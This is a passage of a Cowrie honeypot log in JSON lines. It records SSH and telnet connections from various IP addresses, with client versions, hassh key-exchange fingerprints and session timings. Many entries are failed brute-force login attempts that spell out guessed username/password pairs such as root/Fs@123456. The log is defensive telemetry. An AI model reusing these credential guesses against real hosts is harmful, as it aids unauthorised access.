gs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:21.577926Z","src_ip":"157.7.113.83","session":"84a20a125748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"root123","message":"login attempt [test/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:22.238231Z","src_ip":"157.7.113.83","session":"84a20a125748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:23.398794Z","src_ip":"157.7.113.83","session":"84a20a125748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa497c0b2e72","protocol":"ssh","message":"New connection: 81.30.162.19:56314 (159.203.135.109:22) [session: aa497c0b2e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:42.992671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:42.997249Z","src_ip":"81.30.162.19","session":"aa497c0b2e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":59698,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a912596865e","protocol":"ssh","message":"New connection: 162.223.91.130:59698 (10.17.0.5:22) [session: 9a912596865e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.102041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.106775Z","src_ip":"162.223.91.130","session":"9a912596865e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.113033Z","src_ip":"81.30.162.19","session":"aa497c0b2e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.125505Z","src_ip":"162.223.91.130","session":"9a912596865e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.233346Z","src_ip":"162.223.91.130","session":"9a912596865e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git12345","message":"login attempt [git/git12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:43.609170Z","src_ip":"81.30.162.19","session":"aa497c0b2e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:44.255356Z","src_ip":"162.223.91.130","session":"9a912596865e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:44.729882Z","src_ip":"81.30.162.19","session":"aa497c0b2e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37808,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8851b7fe1c","protocol":"telnet","message":"New connection: 62.171.135.55:37808 (159.203.135.109:23) [session: 2c8851b7fe1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:51.151691Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47f47cc6778","protocol":"ssh","message":"New connection: 159.203.92.129:37100 (159.203.135.109:22) [session: a47f47cc6778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:57.650826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:57.661722Z","src_ip":"159.203.92.129","session":"a47f47cc6778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:57.665792Z","src_ip":"159.203.92.129","session":"a47f47cc6778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wjh","message":"login attempt [ansible/wjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:57.696450Z","src_ip":"159.203.92.129","session":"a47f47cc6778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:58.702370Z","src_ip":"159.203.92.129","session":"a47f47cc6778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00123071670532,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:20.140424Z","src_ip":"177.185.112.101","session":"62147ecbad4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":49524,"dst_ip":"159.203.135.109","dst_port":22,"session":"809abf5d02b3","protocol":"ssh","message":"New connection: 157.7.113.83:49524 (159.203.135.109:22) [session: 809abf5d02b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:20.731046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:20.735883Z","src_ip":"157.7.113.83","session":"809abf5d02b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:20.894114Z","src_ip":"157.7.113.83","session":"809abf5d02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es_user","password":"es_user","message":"login attempt [es_user/es_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:21.556927Z","src_ip":"157.7.113.83","session":"809abf5d02b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c085fe1667","protocol":"ssh","message":"New connection: 162.223.91.130:46360 (10.17.0.5:22) [session: 42c085fe1667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:21.661022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:21.665701Z","src_ip":"162.223.91.130","session":"42c085fe1667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:21.683196Z","src_ip":"162.223.91.130","session":"42c085fe1667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"livetest","password":"livetest","message":"login attempt [livetest/livetest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:21.782984Z","src_ip":"162.223.91.130","session":"42c085fe1667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.977964162826538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:22.129373Z","src_ip":"62.171.135.55","session":"2c8851b7fe1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:22.717112Z","src_ip":"157.7.113.83","session":"809abf5d02b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:22.802911Z","src_ip":"162.223.91.130","session":"42c085fe1667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":58544,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b90e39adf53","protocol":"ssh","message":"New connection: 210.79.142.221:58544 (10.17.0.5:22) [session: 6b90e39adf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:27.013822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:27.017888Z","src_ip":"210.79.142.221","session":"6b90e39adf53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:27.260859Z","src_ip":"210.79.142.221","session":"6b90e39adf53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"password","message":"login attempt [user1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:28.268879Z","src_ip":"210.79.142.221","session":"6b90e39adf53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:29.514351Z","src_ip":"210.79.142.221","session":"6b90e39adf53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":36647,"dst_ip":"159.203.135.109","dst_port":22,"session":"1288d5bbfe94","protocol":"ssh","message":"New connection: 81.30.162.19:36647 (159.203.135.109:22) [session: 1288d5bbfe94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:34.265528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:34.269976Z","src_ip":"81.30.162.19","session":"1288d5bbfe94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:34.386132Z","src_ip":"81.30.162.19","session":"1288d5bbfe94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fs@123456","message":"login attempt [root/Fs@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:34.884424Z","src_ip":"81.30.162.19","session":"1288d5bbfe94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:36.003679Z","src_ip":"81.30.162.19","session":"1288d5bbfe94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50372,"dst_ip":"159.203.135.109","dst_port":22,"session":"6903a9536021","protocol":"ssh","message":"New connection: 159.203.92.129:50372 (159.203.135.109:22) [session: 6903a9536021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:37.260109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:37.273792Z","src_ip":"159.203.92.129","session":"6903a9536021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@